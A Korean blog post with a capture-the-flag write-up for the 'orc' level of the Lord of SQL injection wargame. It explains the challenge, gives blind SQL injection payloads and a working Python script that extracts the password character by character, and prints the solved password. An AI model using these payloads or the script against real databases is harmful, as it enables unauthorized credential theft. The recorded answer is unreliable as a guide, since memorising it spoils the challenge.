티스토리 뷰

writeup/LOS

[Lord of SQL injection] orc

hoppi 2021. 6. 28. 23:14

마흔두 번째 글.

 

 

1. 코드 분석

섹션 1의 코드는 result의 id에 결괏값이 있으면 단순히 'Hello admin'이라는 문자열을 출력한다.

섹션 2의 코드에서는 사용자가 입력한 pw와 쿼리를 통해서 얻은, 즉 테이블에 있는 pw가 같으면 

문제가 풀린다. 다시 말해 온전한 패스워드 값을 입력해야 한다는 뜻이 된다.

 

 

2. Exploit

섹션1의 코드를 잘 생각해보면 result의 결괏값의 유무에 따라서 특정 동작이 수행되기 때문에

Blind SQL injection을 바로 떠올릴 수 있다.

온전한 패스워드 값을 얻기 위해서 먼저 길이를 알아야 하고 그다음 한 글자 씩 찾아내야 한다.

 

 

?pw=' or length(pw)=비교값%23

패스워드의 길이는 length() 함수를 이용하여 알아내야 한다.

테이블 안에 패스워드 길이가 4와 8짜리가 있었지만 이 문제의 경우는 8짜리이다.

 

 

?pw=' or 1=if(ord(substr(pw,인덱스,1))=비교값,1,0)%23

위 구문을 분석해보면 substr() 함수로 pw의 인덱스, 즉 시작 위치 값의 한 글자만 가져온 뒤ord() 함수를 통해 아스키코드로 변환하고 아스키코드의 32~126(출력 가능한 문자의 범위)이랑 비교하여 true면 1을 반환하여 'Hello admin'을 출력한다.

 

 

파이썬으로 코드를 돌려본 뒤 패스워드를 추출하면 패스워드는 095a9852이다.

 

2. Exploit code

import requests

sess = requests.session()
headers = {'Cookie': 'PHPSESSID=your phpsessid value'}
password_length = 0
password = ''

## get password length
for i in range(100):
    url = f"https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=' or length(pw)={i}%23"
    res = sess.get(url, headers=headers)
    if('Hello admin' in res.text and i !=4):
        print('Password length is ', i)
        password_length = i
        break
        
## get password
for i in range(password_length+1):
    for j in range(32, 127):
        url = f"https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=' or 1=if(ord(substr(pw,{i},1))={j},1,0)%23"
        res = sess.get(url, headers=headers)
        if('Hello admin' in res.text):
            password = password+chr(j)
            print(password)
            break

print("Password is " + password)

'writeup > LOS' 카테고리의 다른 글

[Lord of SQL injection] darkelf  (0) 2021.07.02
[Lord of SQL injection] wolfman  (0) 2021.07.02
[Lord of SQL injection] goblin  (0) 2021.06.28
[Lord of SQL injection] cobolt  (0) 2021.06.20
[Lord of SQL injection] gremlin  (0) 2021.06.19